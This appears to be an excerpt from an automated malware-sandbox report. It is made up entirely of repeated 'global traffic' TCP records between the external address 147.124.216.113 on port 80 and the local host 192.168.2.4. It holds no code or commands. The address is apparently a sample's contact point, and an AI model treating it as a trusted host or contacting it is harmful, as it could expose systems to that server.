              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
